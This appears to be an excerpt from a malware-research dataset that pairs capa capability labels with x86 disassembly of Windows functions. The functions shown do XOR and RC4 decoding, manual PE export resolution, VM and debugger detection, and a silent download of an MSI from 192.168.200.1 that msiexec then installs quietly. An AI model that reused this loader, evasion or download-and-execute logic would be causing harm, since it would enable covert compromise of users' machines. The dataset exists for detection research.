joyce8/EMBER2024-capa huggingface dataset:
Function at 0x101c4b94
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x170
mov eax, dword [ebp + 8]
xor ecx, ecx
mov dword [0x102571e0], 0x132a
mov dword [0x102571dc], 0x3614
mov edx, ecx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], ecx
jmp 0x101c4cec
mov eax, dword [ebp - 0x13c]
mov ecx, dword [ebp - 0x140]
lea edx, section..data
imul esi, eax, 0x178
mov edi, edx
add edi, esi
add edi, 0xc0
mov esi, dword [edi]
imul edi, eax, 0x178
mov ebx, edx
add ebx, edi
add ebx, 0x2c
mov edi, dword [ebx]
imul ebx, eax, 0x178
add edx, ebx
add edx, 0xbc
movzx edx, word [edx]
xor edx, esi
mov esi, dword [ebp - 0x144]
add esi, ecx
mov dword [esp], esi
mov dword [esp + 4], edi
mov dword [esp + 8], edx
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x14c], ecx
mov dword [ebp - 0x150], edx
call fcn.101c5721
mov eax, dword [ebp - 0x150]
mov ecx, dword [ebp - 0x14c]
add eax, ecx
mov edx, dword [ebp - 0x148]
add edx, 1
cmp edx, 0x617
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x13c], edx
je 0x101c4d89
jmp 0x101c4bd2
lea eax, [ebp - 0x2c]
mov dword [0x102571e0], 0x156a
mov dword [ebp - 0x154], eax
call fcn.101c5444
mov dword [esp], eax
mov eax, dword [ebp - 0x154]
mov dword [esp + 4], eax
call fcn.101c5d61
mov ecx, eax
mov dword [0x102571fc], eax
mov eax, esp
mov edx, dword [ebp - 0x158]
mov dword [eax + 4], edx
mov dword [eax + 0xc], 4
mov dword [eax + 8], 0x1000
mov dword [eax], 0
call ecx
sub esp, 0x10
xor ecx, ecx
mov edx, ecx
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x140], edx
mov dword [ebp - 0x13c], ecx
jmp 0x101c4bd2
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x134]
lea edx, section..data
imul esi, eax, 0x178
mov edi, edx
add edi, esi
add edi, 0xc0
mov esi, dword [edi]
imul edi, eax, 0x178
add edx, edi
add edx, 0xbc
movzx edx, word [edx]
xor edx, esi
add edx, ecx
add eax, 1
cmp eax, 0x617
mov ecx, edx
mov dword [ebp - 0x158], edx
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x138], eax
jne 0x101c4cec
xor eax, eax
mov dword [0x102571dc], 0x1177
mov dword [ebp - 0x15c], eax
mov eax, dword [ebp - 0x15c]
mov cl, byte [eax + 0x101c7634]
mov dl, byte [eax + 0x101c7605]
sub dl, cl
mov byte [ebp + eax - 0x2c], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x15c], eax
je 0x101c4c7c
jmp 0x101c4d57
lea eax, [0x101c7613]
mov ecx, 0x20
lea edx, [ebp - 0x12c]
mov esi, dword [ebp - 0x144]
add esi, 0x5f952
mov edi, dword [ebp - 0x144]
add edi, 0x18e0
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x20
mov dword [ebp - 0x160], edi
mov dword [ebp - 0x164], ecx
mov dword [ebp - 0x168], edx
mov dword [ebp - 0x16c], esi
call fcn.101c5199
mov eax, dword [ebp - 0x168]
mov dword [esp], eax
mov ecx, dword [ebp - 0x144]
mov dword [esp + 4], ecx
mov dword [esp + 8], ecx
mov edx, dword [ebp - 0x158]
mov dword [esp + 0xc], edx
call fcn.101c57ad
xor eax, eax
mov ecx, dword [ebp - 0x130]
mov edx, dword [ebp - 0x16c]
mov dword [ecx], edx
mov dword [ecx + 4], 0x134800
mov edx, dword [ebp - 0x160]
mov dword [ecx + 8], edx
mov dword [ecx + 0xc], 0x1f50
add esp, 0x170
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x101c4e36
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0x98
call fcn.1000108e
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x24], ecx
je 0x101c4ee9
jmp 0x101c4f31
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.101c4b94
lea ecx, [0x101c5fa9]
mov edx, dword [esp + 0x28]
mov dword [esp + 0x48], edx
mov dword [esp + 0x74], 0x134800
mov dword [0x102571dc], 0x15a6
mov edx, dword [0x102571c8]
mov dword [esp + 0x78], edx
mov edx, dword [0x102571cc]
mov dword [esp + 0x60], edx
mov edx, dword [0x102571d0]
mov dword [esp + 0x40], edx
mov edx, dword [0x102571d4]
mov dword [esp + 0x3c], edx
mov edx, dword [0x102571d8]
mov dword [esp + 0x70], edx
mov dword [0x102571e0], 0x109b
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], ecx
mov eax, dword [esp + 0x1c]
cmp word [eax], 0x5a4d
mov dword [esp + 0x18], eax
je 0x101c4f1b
jmp 0x101c4f3b
mov eax, dword [esp + 0x14]
mov dword [esp + 0x24], eax
jmp 0x101c4f31
lea eax, [esp + 0x38]
mov ecx, dword [0x102571dc]
add ecx, 0xffffefd3
mov dword [0x102571dc], ecx
mov dword [esp + 0x10], eax
call fcn.101c52fd
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x14], ecx
je 0x101c4e5e
jmp 0x101c4edf
mov eax, dword [esp + 0x18]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0xc], ecx
je 0x101c4f5a
jmp 0x101c4f3b
mov eax, dword [esp + 0x24]
lea esp, [ebp - 4]
pop esi
pop ebp
ret
mov eax, dword [esp + 0x18]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
mov dword [esp + 0x1c], eax
jmp 0x101c4ece
lea eax, [esp + 0x38]
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x44], ecx
mov dword [0x102571dc], 0xfffff682
mov edx, dword [esp + 0xc]
mov esi, dword [ecx + edx + 0x50]
mov dword [esp + 0x64], esi
mov esi, dword [esp + 0x30]
mov dword [esp], eax
mov dword [esp + 4], esi
call fcn.101c5a15
mov ecx, esp
lea edx, [esp + 0x38]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov ecx, dword [0x102571dc]
add ecx, 0xffffe5c3
mov dword [0x102571e0], ecx
mov dword [esp + 0x14], eax
jmp 0x101c4edf
Function at 0x101c502e
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x48
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
call fcn.101c5b44
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov edi, edx
add edi, esi
mov esi, dword [eax + esi]
cmp esi, 0x4550
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], edi
je 0x101c506a
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x78]
mov dword [0x102571e0], 0x370c
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
add ecx, dword [edx + eax + 0x20]
mov esi, dword [edx + eax + 0x24]
mov dword [0x102571dc], 0x1fed
mov edi, dword [edx + eax + 0x18]
cmp edi, 0
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x34], ebx
je 0x101c518e
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x2c]
add ecx, edx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x3c], eax
jmp 0x101c50ee
mov eax, dword [ebp - 0x40]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x24]
add edx, dword [edx + esi + 0x1c]
mov edi, dword [ebp - 0x1c]
add edi, dword [edx + ecx*4]
mov dword [0x102571dc], 0x1415
mov dword [ebp - 0x34], edi
jmp 0x101c518e
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x38]
xor edx, edx
mov esi, dword [ebp - 0x28]
mov edi, dword [esi + eax*4]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x4c]
mov ecx, eax
mov edx, dword [ebp - 0x48]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x50], eax
mov byte [ebp - 0x51], bh
mov byte [ebp - 0x52], cl
je 0x101c5159
mov eax, dword [ebp - 0x50]
add eax, 1
mov cl, byte [ebp - 0x51]
cmp cl, 0
setne dl
mov ch, byte [ebp - 0x52]
and ch, dl
cmp eax, 0x20
setb dl
and ch, dl
test ch, 1
mov dword [ebp - 0x4c], eax
jne 0x101c5108
mov al, byte [ebp - 0x52]
test al, 1
jne 0x101c50c6
jmp 0x101c5166
xor eax, eax
mov ecx, dword [ebp - 0x40]
add ecx, 2
mov edx, dword [ebp - 0x44]
add edx, 1
mov esi, dword [ebp - 0x30]
cmp edx, esi
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x34], eax
jb 0x101c50ee
mov eax, dword [ebp - 0x34]
add esp, 0x48
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x101c5199
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov edi, dword [0x102571e0]
add edi, 0x53c
mov dword [0x102571e0], edi
mov dword [0x102571e8], 0
mov byte [0x102571ec], 0
mov dword [0x102571e4], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x101c5203
xor eax, eax
mov dword [0x102571dc], 0x182
mov dword [0x102571e4], 0
mov dword [ebp - 0x20], eax
jmp 0x101c5244
mov eax, dword [ebp - 0x1c]
mov dword [0x102571e0], 0x1e35
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x102571e0]
add eax, 0x325
mov dword [0x102571e0], eax
mov eax, dword [0x102571e4]
add eax, 1
mov dword [0x102571e4], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x101c5203
jmp 0x101c51e8
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x102571f0], 0
mov edx, dword [0x102571e8]
mov esi, dword [ebp - 0x18]
movzx edi, byte [esi + eax]
add edi, edx
mov dword [ebp - 0x24], eax
xor edx, edx
mov ebx, dword [ebp - 0x10]
div ebx
mov esi, dword [ebp - 0x14]
movzx edx, byte [esi + edx]
add edi, edx
mov dword [0x102571f0], edi
mov eax, edi
cdq
idiv ecx
mov dword [0x102571e8], edx
mov dword [0x102571dc], 0x918
mov ecx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x24]
mov cl, byte [ecx + edi]
mov byte [0x102571ec], cl
mov ecx, dword [ebp - 0x18]
mov cl, byte [ecx + edx]
mov edx, dword [ebp - 0x18]
mov byte [edx + edi], cl
mov dword [0x102571dc], 0x16c8
mov cl, byte [0x102571ec]
mov edx, dword [0x102571e8]
mov esi, dword [ebp - 0x18]
mov byte [esi + edx], cl
mov edx, dword [0x102571e4]
add edx, 1
mov dword [0x102571e4], edx
cmp edx, 0x100
mov dword [ebp - 0x20], edx
jl 0x101c5244
mov dword [0x102571dc], 0x26c
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x101c52fd
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
jmp 0x101c539b
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x18], eax
je 0x101c53b7
jmp 0x101c542d
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x10], 0x6c
sete dl
mov byte [ebp - 0x19], dl
mov al, byte [ebp - 0x19]
test al, 1
jne 0x101c5416
jmp 0x101c542d
mov eax, dword [ebp - 0x20]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], eax
jl 0x101c539b
jmp 0x101c5329
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x16], 0x61
sete dl
mov byte [ebp - 0x21], dl
mov al, byte [ebp - 0x21]
test al, 1
jne 0x101c53c8
jmp 0x101c542d
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x14], edx
je 0x101c5329
jmp 0x101c5363
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x18], 0x6f
je 0x101c537c
jmp 0x101c542d
mov eax, dword [ebp - 0x18]
add eax, 0xfffffff6
mov ecx, dword [0x102571dc]
add ecx, 0xfffff36e
mov dword [0x102571dc], ecx
shl eax, 1
mov ecx, dword [ebp - 0xc]
add ecx, eax
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
cmp word [eax], 0x64
jne 0x101c542d
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
mov dx, word [eax + ecx*2 - 0x12]
mov word [ebp - 0x2a], dx
mov ax, word [ebp - 0x2a]
cmp ax, 0x64
je 0x101c5340
jmp 0x101c542d
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x30], eax
je 0x101c543c
xor eax, eax
mov dword [0x102571dc], 0x982
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
add esp, 0x30
pop ebp
ret
Function at 0x101c57ad
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x102571e4], 0
mov dword [0x102571e8], 0
mov dword [0x102571f4], 0
mov dword [0x102571dc], 0x53e
cmp eax, 0
mov ebx, edi
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edi
jne 0x101c582b
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [0x102571e4]
mov ecx, dword [0x102571e8]
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
add edx, 1
mov dword [0x102571e0], 0xb88
mov edi, ecx
add edi, 1
mov dword [ebp - 0x30], eax
mov eax, edx
cdq
idiv esi
mov dword [0x102571e4], edx
mov ebx, dword [ebp - 0x20]
movzx ebx, byte [ebx + edx]
mov dword [ebp - 0x34], ecx
mov ecx, dword [ebp - 0x30]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x38], edx
cdq
idiv esi
mov dword [0x102571e8], edx
mov ecx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x38]
mov cl, byte [ecx + esi]
mov byte [0x102571ec], cl
mov ebx, dword [ebp - 0x20]
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov edx, dword [0x102571dc]
add edx, 0x20cc
mov dword [0x102571dc], edx
mov cl, byte [0x102571ec]
mov edx, dword [0x102571e8]
mov byte [ebx + edx], cl
mov edx, dword [0x102571e4]
movzx edx, byte [ebx + edx]
mov ecx, dword [0x102571e8]
movzx ecx, byte [ebx + ecx]
add ecx, edx
and ecx, 0xff
mov dword [0x102571f4], ecx
mov dword [0x102571dc], 0x395
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x34]
mov dl, byte [edx + esi]
xor dl, byte [ebx + ecx]
mov ecx, dword [ebp - 0x1c]
mov byte [ecx + esi], dl
mov ecx, dword [ebp - 0x10]
cmp edi, ecx
mov dword [ebp - 0x2c], edi
je 0x101c580c
jmp 0x101c5814
Function at 0x101c5a15
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x54
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov esi, dword [0x102571e0]
mov edi, esi
add edi, 0xffffdf43
mov dword [0x102571dc], edi
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x38], edx
jmp 0x101c5a83
lea eax, [ebp - 0x28]
mov ecx, dword [ebp - 0x34]
add ecx, 0xffffe336
mov dword [0x102571e0], ecx
mov dword [ebp - 0x3c], eax
call fcn.101c5444
mov dword [esp], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp + 4], eax
call fcn.101c5d61
cmp eax, 0
mov dword [ebp - 0x40], eax
jne 0x101c5aaf
xor eax, eax
add esp, 0x54
pop esi
pop edi
pop ebp
ret
mov eax, dword [ebp - 0x38]
mov ecx, eax
add ecx, 1
mov dl, byte [eax + 0x101c7634]
mov dh, byte [eax + 0x101c7605]
sub dh, dl
mov byte [ebp + eax - 0x28], dh
cmp ecx, 0xe
mov dword [ebp - 0x38], ecx
je 0x101c5a47
jmp 0x101c5a83
mov eax, dword [ebp - 0x40]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [esp], eax
mov ecx, dword [ebp - 0x2c]
mov dword [esp + 4], ecx
mov dword [ebp - 0x44], eax
call fcn.101c5906
xor eax, eax
mov ecx, dword [ebp - 0x44]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xc0
mov dword [ecx + 0xc0], 0x4550
add ecx, 0xffc00000
mov dword [0x102571dc], 0x21cb
mov edx, dword [ebp - 0x30]
mov dword [edx + 0x54], ecx
mov ecx, dword [ebp - 0x44]
mov dword [edx + 0x20], ecx
add ecx, 0x14fe
mov esi, dword [ebp - 0x44]
cmp esi, 0
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x4c], eax
je 0x101c5b3a
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
add esp, 0x54
pop esi
pop edi
pop ebp
ret
Function at 0x409ce6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410b78]
jne 0x409cf0
repz ret
jmp fcn.0040bf57

Function at 0x409e4b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040595d
and dword [ebp - 4], 0
cmp dword [0x4320a0], 0
mov ebx, eax
jne 0x409efc
push 0x401b70
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x409fad
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401b64
push edi
call esi
test eax, eax
je 0x409fad
push eax
call fcn.004058eb
mov dword [esp], 0x401b54
push edi
mov dword [0x4320a0], eax
call esi
push eax
call fcn.004058eb
mov dword [esp], 0x401b40
push edi
mov dword [0x4320a4], eax
call esi
push eax
call fcn.004058eb
mov dword [esp], 0x401b24
push edi
mov dword [0x4320a8], eax
call esi
push eax
call fcn.004058eb
pop ecx
mov dword [0x4320b0], eax
test eax, eax
je 0x409efc
push 0x401b0c
push edi
call esi
push eax
call fcn.004058eb
pop ecx
mov dword [0x4320ac], eax
mov eax, dword [0x4320ac]
cmp eax, ebx
je 0x409f54
cmp dword [0x4320b0], ebx
je 0x409f54
push eax
call fcn.00405966
push dword [0x4320b0]
mov esi, eax
call fcn.00405966
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x409f54
test edi, edi
je 0x409f54
call esi
test eax, eax
je 0x409f4b
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x409f4b
test byte [ebp - 0xc], 1
jne 0x409f54
or dword [ebp + 0x10], 0x200000
jmp 0x409f8d
mov eax, dword [0x4320a4]
cmp eax, ebx
je 0x409f8d
push eax
call fcn.00405966
pop ecx
test eax, eax
je 0x409f8d
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x409f8d
mov eax, dword [0x4320a8]
cmp eax, ebx
je 0x409f8d
push eax
call fcn.00405966
pop ecx
test eax, eax
je 0x409f8d
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4320a0]
call fcn.00405966
pop ecx
test eax, eax
je 0x409fad
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x409faf
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4016e0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
sub esp, 0xb8
lea eax, [esp + 0x28]
mov dword [esp + 0xc], 0x20019
mov dword [esp + 8], 0
mov dword [esp + 4], str.SYSTEMCurrentControlSetServicesDiskEnum
mov dword [esp], 0x80000002
mov dword [esp + 0x10], eax
mov dword [esp + 0x2c], pe_nt_image_headers32
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
test eax, eax
je 0x401734
call sub.KERNEL32.dll_IsDebuggerPresent
test eax, eax
setne al
add esp, 0xb8
pop ebx
ret
mov ecx, dword [esp + 0x28]
lea edx, [esp + 0x2c]
lea ebx, [esp + 0x30]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], ebx
mov dword [esp + 4], 0x4060d0
mov dword [esp], ecx
call sub.ADVAPI32.DLL_RegQueryValueExA
sub esp, 0x18
test eax, eax
jne 0x4017d0
mov dword [esp + 4], str.VBOX
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
je 0x4017a0
mov edx, dword [esp + 0x28]
mov dword [esp], edx
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov eax, 1
add esp, 0xb8
pop ebx
ret
mov dword [esp + 4], str.VMware
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x401783
mov dword [esp + 4], str.QEMU
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x401783
nop
lea esi, [esi]
mov eax, dword [esp + 0x28]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
jmp 0x401722

Function at 0x401890
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push edi
xor eax, eax
mov ecx, 0x11
sub esp, 0x98
lea edx, [esp + 0x4c]
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [esp + 0x20], edx
mov edx, dword [esp + 0xa0]
lea ecx, [esp + 0x3c]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x24], ecx
mov dword [esp + 0x14], 0x8000000
mov dword [esp + 4], edx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp], 0
mov dword [esp + 0x4c], 0x44
mov dword [esp + 0x78], 1
call sub.KERNEL32.dll_CreateProcessA
sub esp, 0x28
mov eax, dword [esp + 0x3c]
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call sub.KERNEL32.dll_WaitForSingleObject
sub esp, 8
mov edi, dword [esp + 0x3c]
mov dword [esp], edi
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov ecx, dword [esp + 0x40]
mov dword [esp], ecx
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
add esp, 0x98
pop edi
ret
Function at 0x401950
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x44c
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], str.Download
call sub.WININET.DLL_InternetOpenA
sub esp, 0x14
test eax, eax
mov edx, eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x28], 1
je 0x401a79
mov eax, dword [esp + 0x460]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0x80000000
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp], edx
mov dword [esp + 4], eax
call sub.WININET.DLL_InternetOpenUrlA
sub esp, 0x18
test eax, eax
mov esi, eax
je 0x401a93
mov ecx, dword [esp + 0x464]
mov dword [esp + 4], 0x4060f1
lea ebp, [esp + 0x3c]
lea ebx, [esp + 0x40]
mov dword [esp], ecx
call sub.msvcrt.dll_fopen
test eax, eax
mov edi, eax
jne 0x401a30
jmp 0x401a88
mov eax, dword [esp + 0x3c]
test eax, eax
je 0x401a4f
mov dword [esp + 0xc], edi
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov dword [esp], ebx
call sub.msvcrt.dll_fwrite
mov dword [esp + 0xc], ebp
mov dword [esp + 8], 0x400
mov dword [esp + 4], ebx
mov dword [esp], esi
call sub.WININET.DLL_InternetReadFile
sub esp, 0x10
test eax, eax
jne 0x401a10
mov dword [esp], edi
call sub.msvcrt.dll_fclose
mov dword [esp], esi
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
mov ebx, dword [esp + 0x2c]
mov dword [esp], ebx
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
mov dword [esp + 0x28], 0
mov eax, dword [esp + 0x28]
add esp, 0x44c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], esi
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
mov edx, dword [esp + 0x2c]
mov dword [esp], edx
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
mov eax, dword [esp + 0x28]
add esp, 0x44c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x401c30
Capabilities:
Execute command

Disassembly:
push edi
push esi
mov ecx, 0x10
mov esi, str.msiexec__x_9B149A31_6736_4195_8F11_4FDCF6D84DE1__qn__norestart
sub esp, 0x114
lea eax, [esp + 0x10]
mov edi, eax
rep movsd dword es:[edi], dword [esi]
movzx edx, byte [esi]
mov byte [edi], dl
mov dword [esp], eax
call sub.msvcrt.dll_system
add esp, 0x114
mov eax, 1
pop esi
pop edi
ret
Function at 0x401c70
Capabilities:
Delete file

Disassembly:
push esi
push ebx
sub esp, 0x324
lea ebx, [esp + 0x1c]
mov eax, ebx
call fcn.00401460
mov eax, ebx
mov ecx, dword [eax]
add eax, 4
lea edx, [ecx - 0x1010101]
not ecx
and edx, ecx
mov ecx, edx
and ecx, 0x80808080
je 0x401c85
and edx, 0x8080
je 0x401d32
mov edx, ecx
add dl, cl
sbb eax, 3
mov dword [eax], 0x69736d2e
mov byte [eax + 4], 0
mov dword [esp + 4], ebx
mov dword [esp], str.http:__192.168.200.1_host.msi
call fcn.00401950
test eax, eax
je 0x401ce4
mov dword [esp], str.Falha_ao_baixar_o_arquivo_MSI.
call sub.msvcrt.dll_puts
add esp, 0x324
pop ebx
pop esi
ret
call fcn.00401c30
test eax, eax
jne 0x401d24
lea esi, [esp + 0x120]
mov dword [esp + 8], ebx
mov dword [esp + 4], str.msiexec__i___s___qn__norestart
mov dword [esp], esi
call sub.msvcrt.dll_sprintf
mov dword [esp], esi
call fcn.00401890
mov dword [esp], ebx
call sub.KERNEL32.dll_DeleteFileA
sub esp, 4
add esp, 0x324
pop ebx
pop esi
ret
mov dword [esp], str.msiexec__x_9B149A31_6736_4195_8F11_4FDCF6D84DE1__qn__norestart
call fcn.00401890
jmp 0x401d10
shr ecx, 0x10
add eax, 2
jmp 0x401caa